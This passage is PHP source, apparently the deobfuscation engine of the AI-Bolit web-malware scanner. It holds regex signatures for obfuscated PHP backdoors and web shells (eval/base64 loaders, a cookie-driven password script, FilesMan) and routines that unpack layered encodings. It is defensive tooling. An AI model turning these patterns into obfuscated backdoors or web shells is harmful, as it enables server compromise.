- 'fast' => '~(\$\w+)=(\w+);(\$\w+)="(.+?)";(\$\w+)=\3;(\$\w+)=strlen\(\5\);(\$\w+)=\'\';for\((\$\w+)=\d+;\8<\6;\8\+\+\)\7\s?\.=\s?chr\(ord\(\5\[\8\]\)\s?\^\s?\1\);eval\("\?>"\.\7\."<\?"\);~msi',
- 'id' => 'evalConcatAsciiChars',
- ),
- /*array(
- 'full' => '~goto \w+;\s*(\w+:\s*(\w+:\s*)?.*?goto\s*\w+;\s*(}\s*goto\s*\w+;)?(goto\s*\w+;)?\s*)+\w+:\s*[^;]+;(\s*goto\s*\w+;\s*\w+:\s*\w+:)?~msi',
- 'fast' => '~goto \w+;\s*(\w+:\s*(\w+:\s*)?.*?goto\s*\w+;\s*(}\s*goto\s*\w+;)?(goto\s*\w+;)?\s*)+\w+:\s*[^;]+;(\s*goto\s*\w+;\s*\w+:\s*\w+:)?~msi',
- 'id' => 'goto',
- ),*/
- /*array(
- 'full' => '~if\(isset\(\$_POST\[\'\w+\'\]\)\){echo[\s\'\w]+;\s*exit\(\);}\s*if\(isset\(\$_COOKIE\)\){(\$\w+)=\$_COOKIE;\(count\(\1\)==\d+&&in_array\(gettype\(\1\)\.count\(\1\),\1\)\)\?\(\(\1\[\d+\]=\1\[\d+\]\.\1\[\d+\]\)&&\(\1\[\d+\]=\1\[\d+\]\(\1\[\d+\]\)\)&&\(\1=\1\[\d+\]\(\1\[\d+\],\1\[\d+\]\(\1\[\d+\]\)\)\)&&\1\(\)\):\1;}\s*if\(!isset\(\$_POST\[\'\w+\'\]\)&&!isset\(\$_GET\[\'\w+\'\]\)\){exit\(\);}\s*(?:(\$\w+)\[\d+\]=\'\w+\';)+\s*if\(isset\(\$_POST\[\'\w+\'\]\)\){\$\w+=\$_POST\[\'\w+\'\];}else{\$\w+=\$_GET\[\'\w+\'\];}\s*\$\w+\s*=\s*array_flip\(str_split\(\'(\w+)\'\)\);\$\w+\s*=\s*str_split\(md5\(\$\w+\)\.md5\(\$\w+\)\);\$\w+\s*=\s*array\(\);\$\w+\s*=\s*\'\';\s*foreach\s*\(\$\w+\s*as\s*\$\w+\s*=>\s*\$\w+\)\s*{while\s*\(1\)\s*{if\(isset\(\$\w+\[\$\w+\[\$\w+\]\]\)\){\$\w+\[\$\w+\]\+\+;}else\{\$\w+\[\$\w+\[\$\w+\]\]=\'\';break;}}}\s*foreach\s*\(\$\w+\s*as\s*\$\w+\s*=>\s*\$\w+\)\s*{\$\w+\s*\.=\s*\$\w+\[\$\w+\];}\s*eval\(trim\(base64_decode\(base64_decode\(\$\w+\)\)\)\);~mis',
- 'fast' => '~if\(isset\(\$_POST\[\'\w+\'\]\)\){echo[\s\'\w]+;\s*exit\(\);}\s*if\(isset\(\$_COOKIE\)\){(\$\w+)=\$_COOKIE;\(count\(\1\)==\d+&&in_array\(gettype\(\1\)\.count\(\1\),\1\)\)\?\(\(\1\[\d+\]=\1\[\d+\]\.\1\[\d+\]\)&&\(\1\[\d+\]=\1\[\d+\]\(\1\[\d+\]\)\)&&\(\1=\1\[\d+\]\(\1\[\d+\],\1\[\d+\]\(\1\[\d+\]\)\)\)&&\1\(\)\):\1;}\s*if\(!isset\(\$_POST\[\'\w+\'\]\)&&!isset\(\$_GET\[\'\w+\'\]\)\){exit\(\);}\s*(?:(\$\w+)\[\d+\]=\'\w+\';)+\s*if\(isset\(\$_POST\[\'\w+\'\]\)\){\$\w+=\$_POST\[\'\w+\'\];}else{\$\w+=\$_GET\[\'\w+\'\];}\s*\$\w+\s*=\s*array_flip\(str_split\(\'(\w+)\'\)\);\$\w+\s*=\s*str_split\(md5\(\$\w+\)\.md5\(\$\w+\)\);\$\w+\s*=\s*array\(\);\$\w+\s*=\s*\'\';\s*foreach\s*\(\$\w+\s*as\s*\$\w+\s*=>\s*\$\w+\)\s*{while\s*\(1\)\s*{if\(isset\(\$\w+\[\$\w+\[\$\w+\]\]\)\){\$\w+\[\$\w+\]\+\+;}else\{\$\w+\[\$\w+\[\$\w+\]\]=\'\';break;}}}\s*foreach\s*\(\$\w+\s*as\s*\$\w+\s*=>\s*\$\w+\)\s*{\$\w+\s*\.=\s*\$\w+\[\$\w+\];}\s*eval\(trim\(base64_decode\(base64_decode\(\$\w+\)\)\)\);~mis',
- 'id' => 'scriptWithPass',
- ),*/
- );
- private $full_source;
- private $prev_step;
- private $cur;
- private $obfuscated;
- private $max_level;
- private $max_time;
- private $run_time;
- private $fragments;
- private $grabed_signature_ids;
- public function __construct($text, $text2 = '', $max_level = 30, $max_time = 5)
- {
- $temp = str_replace(' ', '', $text);
- if (
- (strpos($temp, '=file(__FILE__);eval(base64_decode(') //zeura hack
- && strpos($temp, '1)));__halt_compiler();'))
- || (strpos($temp, 'define(\'__LOCALFILE__\',__FILE__);') //obf_20200527_1
- && strpos($temp, '__halt_compiler();'))
- || (strpos($text2, '* Bizden oncekiler demo *')) //bizden
- || (strpos($temp, '");$cvsu=$gg')) //TinkleShell
- ) {
- $this->text = $text2;
- $this->full_source = $text2;
- } else {
- $this->text = $text;
- $this->full_source = $text;
- }
- $this->max_level = $max_level;
- $this->max_time = $max_time;
- $this->fragments = [];
- $this->grabed_signature_ids = [];
- }
- public function getObfuscateType($str)
- {
- $str = preg_replace('~\s+~', ' ', $str);
- $l_UnicodeContent = Helpers::detect_utf_encoding($str);
- if ($l_UnicodeContent !== false) {
- if (function_exists('iconv')) {
- $str = iconv($l_UnicodeContent, "CP1251//IGNORE", $str);
- }
- }
- if(strpos($str, '# Malware list detected by AI-Bolit (http') !== false) {
- return '';
- }
- if(strpos($str, '#Malware list detected by AI-Bolit(http') !== false) {
- return '';
- }
- if(strpos($str, '<div class="header">Отчет сканера AI-Bolit</div>') !== false) {
- return '';
- }
- if (strpos($str, '$default_action="FilesMan"') !== false) {
- return '';
- }
- foreach ($this->signatures as $signature) {
- if (preg_match($signature['fast'], $str, $matches)) {
- if ($signature['id'] === 'echo') {
- if (preg_match('~\$_(POST|GET|REQUEST|COOKIE)~ms', $matches[0])) {
- return '';
- }
- if (!isset($matches[5]) || $matches[5] === '') {
- return '';
- }
- }
- if ($signature['id'] === 'eval') {
- if (strpos($matches[0], 'file_get_contents') !== false) {
- return '';
- }
- if (preg_match('~\$_(POST|GET|REQUEST|COOKIE)~ms', $matches[0])) {
- return '';
- }
- if (strpos($matches[0], '=> array(\'eval(base64_decode(\')') !== false) {
- return '';
- }
- if (@$matches[6] == '\'";') {
- return '';
- }
- }
- return $signature['id'];
- }
- }
- return '';
- }
- private function getObfuscateFragment($str)
- {
- foreach ($this->signatures as $signature) {
- if (preg_match($signature['full'], $str, $matches)) {
- return $matches;
- }
- }
- return '';
- }
- public function getFragments()
- {
- if (count($this->fragments) > 0) {
- return $this->fragments;
- }
- return false;
- }
- public function getGrabedSignatureIDs()
- {
- return array_keys($this->grabed_signature_ids);
- }
- private function grabFragments()
- {
- if ($this->cur == null) {
- $this->cur = $this->text;
- }
- $str = $this->cur;
- reset($this->signatures);
- while ($sign = current($this->signatures)) {
- $regex = $sign['full'];
- if (preg_match($regex, $str, $matches)) {
- $this->grabed_signature_ids[$sign['id']] = 1;
- $this->fragments[$matches[0]] = $matches[0];
- $str = str_replace($matches[0], '', $str);
- } else {
- next($this->signatures);
- }
- }
- }
- private function deobfuscateFragments()
- {
- $prev_step = '';
- if (count($this->fragments) > 0) {
- $i = 0;
- foreach ($this->fragments as $frag => $value) {
- if ($frag !== $value) {
- continue;
- }
- $type = $this->getObfuscateType($value);
- while ($type !== '' && $i < 50) {
- $match = $this->getObfuscateFragment($value);
- $find = $match[0] ?? '';
- $func = 'deobfuscate' . ucfirst($type);
- $temp = @$this->$func($find, $match);
- $value = str_replace($find, $temp, $value);
- $this->fragments[$frag] = $value;
- $type = $this->getObfuscateType($value);
- if ($prev_step == hash('sha256', $value)) {
- break;
- } else {
- $prev_step = hash('sha256', $value);
- }
- $i++;
- }
- }
- }
- }
- public function deobfuscate($hangs = 0, $prev_step = '')
- {
- $deobfuscated = '';
- $this->run_time = microtime(true);
- $this->cur = $this->text;
- $this->grabFragments();
- $this->deobfuscateFragments();
- $deobfuscated = $this->cur;
- if (count($this->fragments) > 0 ) {
- foreach ($this->fragments as $fragment => $text) {
- $deobfuscated = str_replace($fragment, $text, $deobfuscated);
- }
- }
- $deobfuscated = preg_replace_callback('~"[\w\\\\\s=;_<>&/\.-]+"~msi', function ($matches) {
- return preg_match('~\\\\x[2-7][0-9a-f]|\\\\1[0-2][0-9]|\\\\[3-9][0-9]|\\\\0[0-4][0-9]|\\\\1[0-7][0-9]~msi', $matches[0]) ? stripcslashes($matches[0]) : $matches[0];
- }, $deobfuscated);
- $deobfuscated = preg_replace_callback('~echo\s*"((.*?[^\\\\])??((\\\\\\\\)+)?+)"~msi', function ($matches) {
- return preg_match('~\\\\x[2-7][0-9a-f]|\\\\1[0-2][0-9]|\\\\[3-9][0-9]|\\\\0[0-4][0-9]|\\\\1[0-7][0-9]~msi', $matches[0]) ? stripcslashes($matches[0]) : $matches[0];
- }, $deobfuscated);
- preg_match_all('~(global\s*(\$[\w_]+);)\2\s*=\s*"[^"]+";~msi', $deobfuscated, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- $deobfuscated = str_replace($match[0], '', $deobfuscated);
- $deobfuscated = str_replace($match[1], '', $deobfuscated);
- }
- preg_match_all('~\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\'](\w+)[\'"];~msi', $deobfuscated, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- $deobfuscated = preg_replace_callback('~\$\{\$\{"GLOBALS"\}\[[\'"]' . $match[1] . '[\'"]\]\}~msi', function ($matches) use ($match) {
- return '$' . $match[2];
- }, $deobfuscated);
- $deobfuscated = str_replace($match[0], '', $deobfuscated);
- }
- $deobfuscated = preg_replace_callback('~\$\{(\$\w+)\}~msi', function ($matches) use ($deobfuscated) {
- if (isset($matches[1])) {
- preg_match('~\\' . $matches[1] . '\s*=\s*["\'](\w+)[\'"];~msi', $deobfuscated, $matches2);
- if (isset($matches2[1])) {
- return '$' . $matches2[1];
- }
- return $matches[0];
- }
- }, $deobfuscated);
- if (strpos($deobfuscated, 'chr(')) {
- $deobfuscated = preg_replace_callback('~chr\((\d+)\)~msi', function ($matches) {
- return "'" . chr($matches[1]) . "'";
- }, $deobfuscated);
- }
- if (substr_count(substr($deobfuscated, 0, 200), 'base64_decode(\'') > 3) {
- $deobfuscated = preg_replace_callback('~base64_decode\(\'([^\']+)\'\)~msi', function ($matches) {
- return "'" . base64_decode($matches[1]) . "'";
- }, $deobfuscated);
- }
- if ($this->getObfuscateType($deobfuscated) !== '' && $hangs < 5) {
- $this->text = $deobfuscated;
- if ($prev_step == hash('sha256', $deobfuscated)) {
- return $deobfuscated;
- }
- $deobfuscated = $this->deobfuscate(++$hangs, hash('sha256', $deobfuscated));
- }
- return $deobfuscated;
- }
- private function deobfuscateObf_20200618_1($str)
- {
- preg_match('~(\$\{"[\\\\x47c2153fGLOBALS]+"\}\["[\w\\\\]+"\]="[\w\\\\]+";(\$\w+="\w+";)?)+.+\$\{"[\\\\x47c2153fGLOBALS]+"\}\["[\w\\\\]+"\].+}+~msi', $str, $matches);
- $find = $matches[0];
- $res = stripcslashes($str);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateBypass($str, $matches)
- {
- $find = $matches[0];
- $bypass = stripcslashes($matches[2]);
- $eval = $matches[3] . $bypass . $matches[4];
- $res = str_replace($find, $eval, $str);
- return $res;
- }
- private function deobfuscateObf_20200720_1($str, $matches)
- {
- $find = $matches[0];
- $res = base64_decode($matches[2]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateGoto($str)
- {
- preg_match('~goto \w+;\s*(\w+:\s*(\w+:\s*)?.*?goto\s*\w+;\s*(}\s*goto\s*\w+;)?(goto\s*\w+;)?\s*)+\w+:\s*[^;]+;(\s*goto\s*\w+;\s*\w+:\s*\w+:)?~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $labels = [];
- preg_match_all('~((\w+):\s*((\w+):\s*)?(.*?goto\s*\w+;))(\s*goto\s*\w+;)?~msi', $str, $matches, PREG_SET_ORDER);
- foreach($matches as $item) {
- if (isset($item[4]) && $item[4] != '') {
- $labels[$item[4]] = $item[5];
- }
- $labels[$item[2]] = $item[5];
- $res = str_replace($item[1], '', $res);
- }
- while(preg_match('~goto\s*(\w+);~msi', $res, $matches) && isset($labels[$matches[1]])) {
- $res = str_replace($matches[0], PHP_EOL . $labels[$matches[1]] . PHP_EOL, $res);
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200527_1($str)
- {
- preg_match('~error_reporting\(0\);define\(\'\w+\',\s*__FILE__\);define\(\'\w+\',\s*fopen\(__FILE__,\s*\'r\'\)\);fseek\(\w+,\s*__COMPILER_HALT_OFFSET__\);((\$\w+="\\\\x[0-9a-f]+";)+(\$\w+="[^"]+";)+eval\("\?>"\.(\$\w+\()+"([^"]+)"\)+;)+(?:/\*\w+\*/)?__halt_compiler\(\);([\w#|>^%\[\.\]\\\\/=]+)~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $encoded = $matches[6];
- $res = preg_replace_callback('~(\$\w+="\\\\x[0-9a-f]+";)+(\$\w+="[^"]+";)+eval\("\?>"\.(\$\w+\()+"([^"]+)"\)+;~msi', function ($m) use ($str) {
- $layer1 = hex2bin(str_rot13(gzinflate(str_rot13(base64_decode($m[4])))));
- if (preg_match('~(\$\w+="[^"]+";)+eval\(\$\w\.(\$\w+\()+"([^"]+)"\)+;~msi', $layer1, $matches)) {
- $temp = "?>" . hex2bin(str_rot13(gzinflate(str_rot13(base64_decode($matches[3])))));
- while (preg_match('~(\$\w+)=strrev\(\1\);(\1=\s*str_replace\([\'"]([^"\']+)[\'"],"[^"]+",\1\);)+@?eval\("\?\>"\.\$\w+\(\1\)+;~msi', $temp, $matches)) {
- if (preg_match('~\\' . $matches[1] . '="([^"]+)";~msi', $layer1, $matches1)) {
- $code = $matches1[1];
- $code = strrev($code);
- if (preg_match_all('~str_replace\([\'"]([^"\']+)[\'"],"([^"]+)"~msi', $temp, $m, PREG_SET_ORDER)) {
- foreach($m as $item) {
- $code = str_replace($item[1], $item[2], $code);
- }
- $temp = base64_decode($code);
- }
- }
- }
- return $temp;
- }
- }, $res);
- if (preg_match_all('~str_replace\([\'"]([^"\']+)[\'"],[\'"]([^"\']+)[\'"]~msi', $res, $m, PREG_SET_ORDER)) {
- foreach($m as $item) {
- $encoded = str_replace($item[1], $item[2], $encoded);
- }
- $res = base64_decode($encoded);
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200602_1($str)
- {
- preg_match('~(\$\w+)=strrev\("[base64_decode]+"\)\.str_replace\(\'(\w+)\',\'\',\'\w+\'\);\s*eval\(\1\((\$\w+)\)\);~msi', $str, $matches);
- $find = $matches[0];
- $res = 'eval(base64_decode(' . $matches[3] . '));';
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200526_1($str, $matches)
- {
- $find = $matches[0];
- $res = base64_decode($matches[2]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200522_1($str, $matches)
- {
- $find = $matches[0];
- $res = strrev(gzinflate(base64_decode(substr($matches[9], (int)hex2bin($matches[3]), (int)hex2bin($matches[5])))));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200507_5($str, $matches)
- {
- $find = $matches[0];
- $res = base64_decode($matches[1]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200507_4($str, $matches)
- {
- $find = $matches[0];
- $ar = $matches[2];
- $ar = explode(",\n", $ar);
- $array = [];
- foreach ($ar as $v) {
- $array[substr(trim($v),1,1)] = substr(trim($v), -2, 1);
- }
- unset($ar);
- $res = '';
- $split = str_split($matches[5]);
- foreach ($split as $x) {
- foreach ($array as $main => $val) {
- if ($x == (string)$val) {
- $res .= $main;
- break;
- }
- }
- }
- $res = gzinflate(base64_decode($res));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200513_1($str, $matches)
- {
- $find = $matches[0];
- $res = gzuncompress(base64_decode(strrev($matches[5])));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200507_3($str, $matches)
- {
- $find = $matches[0];
- $decode = htmlspecialchars_decode(gzinflate(base64_decode($matches[2])));
- $res = str_replace('$An0n_3xPloiTeR', "'" . $matches[3] . "'", $decode);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200507_2($str, $matches)
- {
- $find = $matches[0];
- $res = base64_decode($matches[4]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200507_1($str)
- {
- preg_match('~(\$\w+)=base64_decode\(\'([^\']+)\'\);\s*eval\(\1\);~mis', $str, $matches);
- $find = $matches[0];
- $res = base64_decode($matches[2]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200504_1($str)
- {
- preg_match('~(\$\w+)\s*=\s*\("\?>"\.gzuncompress\(base64_decode\("([^"]+)"\)\)\);\s*@?eval\(\1\);~msi', $str, $matches);
- $find = $matches[0];
- $res = ' ?>' . gzuncompress(base64_decode($matches[2]));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateSmartToolsShop($str, $matches)
- {
- $find = $matches[0];
- $res = str_rot13(gzinflate(str_rot13(base64_decode($matches[2]))));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200421_1($str)
- {
- preg_match('~(?:\$\w+\s*=\s*\'\w+\';)?\s*(\$\w+)\s*=\s*urldecode\(\'[%0-9a-f]+\'\);(\s*(\$\w+)\s*=(\s*\1\{\d+\}\.?)+;)+\s*(\$\w+)\s*=\s*"[^"]+"\.\3\("([^"]+)"\);\s*eval\(\5\);~msi', $str, $matches);
- $find = $matches[0];
- $res = ' ?>' . base64_decode($matches[6]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200414_1($str)
- {
- preg_match('~function\s*(\w+)\((\$\w+),\s*(\$\w+)\)\s*\{\s*\3\s*=\s*md5\(\3\);\s*\$\w+\s*=\s*\d+;\s*\2\s*=\s*base64_decode\(\2\);\s*\$\w+\s*=\s*strlen\(\2\);\s*\$\w+\s*=\s*strlen\(\3\);\s*\$\w+\s*=\s*\'\';\s*for\s*\(\$\w+\s*=\s\d+;\s*\$\w+\s*<\s*\$len;\s*\$\w+\+\+\)\s*\{\s*if\s*\(\$\w+\s*==\s*\$\w+\)\s*\{\s*\$\w+\s*=\s*\d+;\s*}\s*\$\w+\s*\.=\s*substr\(\3,\s*\$\w+,\s*\d+\);\s*\$\w+\+\+;\s*\}\s*\$\w+\s*=\s*\'\';\s*for\s*\(\$\w+\s*=\s*\d+;\s*\$\w+\s*<\s*\$\w+;\s*\$\w+\+\+\)\s*{\s*if\s*\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*<\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\)\s*\{\s*\$\w+\s*\.=\s*chr\(\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*\+\s*\d+\)\s*-\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\);\s*}\s*else\s*{\s*\$\w+\s*\.=\s*chr\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*-\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\);\s*}\s*}\s*return\s*\$\w+;\s*\}\s*\2\s*=\s*"([^"]+)";\s*\3\s*=\s*"([^"]+)";\s*(\$\w+)\s*=\s*\1\(\2,\s*\3\);\s*eval\(\6\);~msi', $str, $matches);
- $find = $matches[0];
- $data = $matches[4];
- $key = $matches[5];
- $res = Helpers::obf20200414_1_decrypt($data, $key);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200402_2($str, $matches)
- {
- $find = $matches[0];
- $code = $matches[15];
- $code = preg_replace_callback('~\s*"\s*\.((?:min|max|round)?\(\s*\d+[\.\,\|\s\|+\|\-\|\*\|\/]([\d\s\.\,\+\-\*\/]+)?\))\s*\.\s*"~msi', function($m) {
- return substr(Helpers::calc($m[1]), 1, -1);
- }, $code);
- $res = gzinflate(base64_decode($code)) ?:base64_decode($code);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateObf_20200402_1($str, $matches)
- {
- $find = $matches[0];
- $res = gzinflate(hex2bin(pack('H*',$matches[6])));
- $res = preg_replace('~//.+$~m', '', $res);
- preg_match('~\$\w+\(\$\w+,\$\w+\("",\s*\$\w+\(\$\w+\(\$\w+\(\$\w+\(\$\w+,\s*"(\d+)"\)+,\$\w+\);.+function \w+\((\$\w+),\s*\$\w+,\s(\$\w+)\)\s{\3\s=\s\3\s\.\s\3;.+return \2;}~msi', $res, $matches);
- $res = gzinflate(hex2bin(pack('H*',$matches[1])));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateOELove($str)
- {
- preg_match('~<\?php\s*defined\(\'[^\']+\'\)\s*\|\|\s*define\(\'[^\']+\',__FILE__\);(global\s*\$[^;]+;)+\s*(if\(!function_exists\(\'([^\']+)\'\)\){\s*function\s*[^\)]+\(\$[^,]+,\$[^=]+=\'\'\){\s*if\(empty\(\$[^\)]+\)\)\s*return\s*\'\';\s*\$[^=]+=base64_decode\(\$[^\)]+\);\s*if\(\$[^=]+==\'\'\)\s*return\s*\~\$[^;]+;\s*if\(\$[^=]+==\'-1\'\)\s*@[^\(]+\(\);\s*\$[^=]+=\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\(\$[^\)]+\);\s*\$[^=]+=\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\(\$[^,]+,\$[^,]+,\$[^\)]+\);\s*return\s*\$[^^]+\^\$[^;]+;\s*}}\s*)+(\$[^\[]+\["[^"]+"]=[^\(]+\(\'[^\']+\',\'[^\']*\'\);\s*)+(\$[^\[]+\[\'[^\']+\'\]=\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\([^\)]*\)+;\s*)+return\(eval\(\$[^\[]+\[\'[^\']+\'\]\)+;\s*\?>\s*#!/usr/bin/php\s*-q\s*((\s*[^\s]+)+)~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $code = $matches[6];
- $res = iconv('UTF-8', 'ASCII//IGNORE', $res);
- preg_match('~\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\(\'([\da-f]{32})\'\);~msi', $res, $hash);
- $hash = strrev($hash[1]);
- preg_match_all('~\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\(\'([\d]{10})\'\)~msi', $res, $substr_offsets);
- $substr_offsets = $substr_offsets[1];
- $substr_offsets = array_map('strrev', $substr_offsets);
- $substr_offsets = array_map('intval', $substr_offsets);
- preg_match_all('~if\s*\(\!function_exists\(\'([^\']+)\'\)~msi', $res, $decoders);
- $decoders = $decoders[1];
- $var_array = [];
- preg_match_all('~\$([^\[]{3,20})\["([^"]+)"\]=(?:' . $decoders[0] . '|' . $decoders[1] . ')\(\'([^\']*)\',\'([^\']*)\'\);~msi', $res, $vars, PREG_SET_ORDER);
- $var_name = $vars[0][1];
- foreach ($vars as $var) {
- $var_array[$var[2]] = Helpers::OELoveDecoder($var[3], $var[4]);
- $res = str_replace($var[0], '', $res);
- }
- $layer1 = substr($code, 0, $substr_offsets[3] + 96);
- $layer1_dec = iconv('UTF-8', 'ASCII//IGNORE', gzuncompress(base64_decode($layer1)));
- $code = str_replace($layer1, $layer1_dec, $code);
- preg_match_all('~\$([^\[]{3,20})\["([^"]+)"\]=(?:' . $decoders[0] . '|' . $decoders[1] . ')\(\'([^\']*)\',\'([^\']*)\'\);~msi', $code, $vars, PREG_SET_ORDER);
- foreach ($vars as $var) {
- $var_array[$var[2]] = Helpers::OELoveDecoder($var[3], $var[4]);
- $code = str_replace($var[0], '', $code);
- }
- $layer2_start = strpos($code, '?>') + 2;
- $layer2 = substr($code, $layer2_start + $substr_offsets[2]);
- $layer2_dec = iconv('UTF-8', 'ASCII//IGNORE', gzuncompress(base64_decode(str_rot13($layer2))));
- $res = $layer2_dec;
- foreach($var_array as $k => $v) {
- $res = str_replace('$GLOBALS[\'' . $var_name . '\'][\'' . $k . '\'](', $v . '(', $res);
- $res = str_replace('$GLOBALS[\'' . $var_name . '\'][\'' . $k . '\']', '\'' . $v . '\'', $res);
- }
- $res = preg_replace_callback('~(?:' . $decoders[0] . '|' . $decoders[1] . ')\(\'([^\']*)\',\'([^\']*)\'\)~msi', function ($m) {
- return '\'' . Helpers::OELoveDecoder($m[1], $m[2]) . '\'';
- }, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalConcatVars($str)
- {
- preg_match('~((\$\w+="";\$\w+\s*\.=\s*"[^;]+;\s*)+)(?:="";)?(eval\((\s*(\$\w+)\s*\.)+\s*"([^"]+)(?:"\);)+)~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $parts = [];
- preg_match_all('~(\$\w+)="";\1\s*\.=\s*"([^"]+)"~msi', $matches[1], $matches1, PREG_SET_ORDER);
- foreach($matches1 as $match) {
- $parts[$match[1]] = stripcslashes(stripcslashes($match[2]));
- }
- $res = stripcslashes(stripcslashes($matches[3]));
- foreach($parts as $k => $v) {
- $res = str_replace($k, "'" . $v . "'", $res);
- }
- $res = preg_replace_callback('/[\'"]\s*?\.+\s*?[\'"]/smi', function($m) {
- return '';
- }, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateVarFuncsEval($str)
- {
- preg_match('~((\$\w+)\s*=\s*)(base64_decode\s*\(+|gzinflate\s*\(+|strrev\s*\(+|str_rot13\s*\(+|gzuncompress\s*\(+|convert_uudecode\s*\(+|urldecode\s*\(+|rawurldecode\s*\(+|htmlspecialchars_decode\s*\(+)+"([^"]+)"\)+(;\s*@?eval\(([\'"?>.\s]+)?\2\);)~', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $res = str_replace($matches[5], ');', $res);
- $res = str_replace($matches[1], 'eval(', $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateComments($str, $matches)
- {
- $find = $matches[0];
- $res = preg_replace('~/\*\w+\*/~msi', '', $str);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateStrrevVarEval($str)
- {
- preg_match('~(\$\w+=strrev\("[^"]+"\);)+eval\((\$\w+\()+"([^"]+)"\)+;~mis', $str, $matches);
- $find = $matches[0];
- $res = gzinflate(base64_decode($matches[3]));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateAanKFM($str)
- {
- preg_match('~(\$\w+=(\w+)\(\'\d+\'\);\s*)+\$\w+=new\s\$\w+\(\2\(\'(\d+)\'\)+;error_reporting\(0\);eval\(\$\w+\(\$\w+->\$\w+\("([^"]+)"\)+;.+?function \2.+?return\s\$\w+;\s}~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $key = Helpers::aanKFMDigitsDecode($matches[3]);
- $res = Helpers::Xtea_decrypt($matches[4], $key);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalChars($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- while(preg_match_all('~(?:@eval((?:\(\$[0O]+\[[\'"]\w+[\'"]\])+)\("([^"]+)"\)+;)|("\)\?\$[O0]+)~msi', $res, $matches, PREG_SET_ORDER)) {
- $match = $matches[0];
- if (isset($matches[1])) $match = $matches[1];
- $count = ($match[1] !== '') ? substr_count($match[1], '(') : 0;
- if ($count == 2) {
- $res = gzinflate(base64_decode($match[2]));
- } else if ($count == 3) {
- $res = gzinflate(base64_decode(str_rot13($match[2])));
- }
- if (isset($match[3]) && ($match[3] !== '')) {
- $res = preg_replace_callback('~(\$[0O]+\["\w+"\]\()+"([^"]+)"\)+;?~msi', function($m) {
- return gzinflate(base64_decode(str_rot13($m[2])));
- }, $res);
- }
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateGlobalsBase64($str)
- {
- preg_match('~<\?php\s+((\$GLOBALS\[\s*[\'"]\w+[\'"]\s*\])\s*=\s*base64_decode\("([^"]*)"\);)+\s*\?>(<\?php\s.+\2.+exit;\s}\sfunction\s\w+\(\)\s{\sreturn\sarray\(\s\'favicon\'\s=>\s\'[^\']+\',\s+\'sprites\'\s=>\s\'[^\']+\',\s\);\s})~msi', $str, $matches);
- $find = $matches[0];
- $vars = [];
- preg_match_all('~(\$GLOBALS\[\s*[\'"]\w+[\'"]\s*\])\s*=\s*base64_decode\("([^"]*)"\);~msi', $matches[0], $matches1, PREG_SET_ORDER);
- foreach($matches1 as $match) {
- $vars[$match[1]] = base64_decode($match[2]);
- }
- $code = $matches[4];
- foreach ($vars as $var => $value) {
- $code = str_replace($var . '(', $value . '(', $code);
- $code = str_replace($var, "'" . $value . "'", $code);
- }
- $res = $code;
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalReturn($str, $matches)
- {
- $find = $matches[0];
- $res = stripcslashes(base64_decode($matches[2]));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateQibosoft($str)
- {
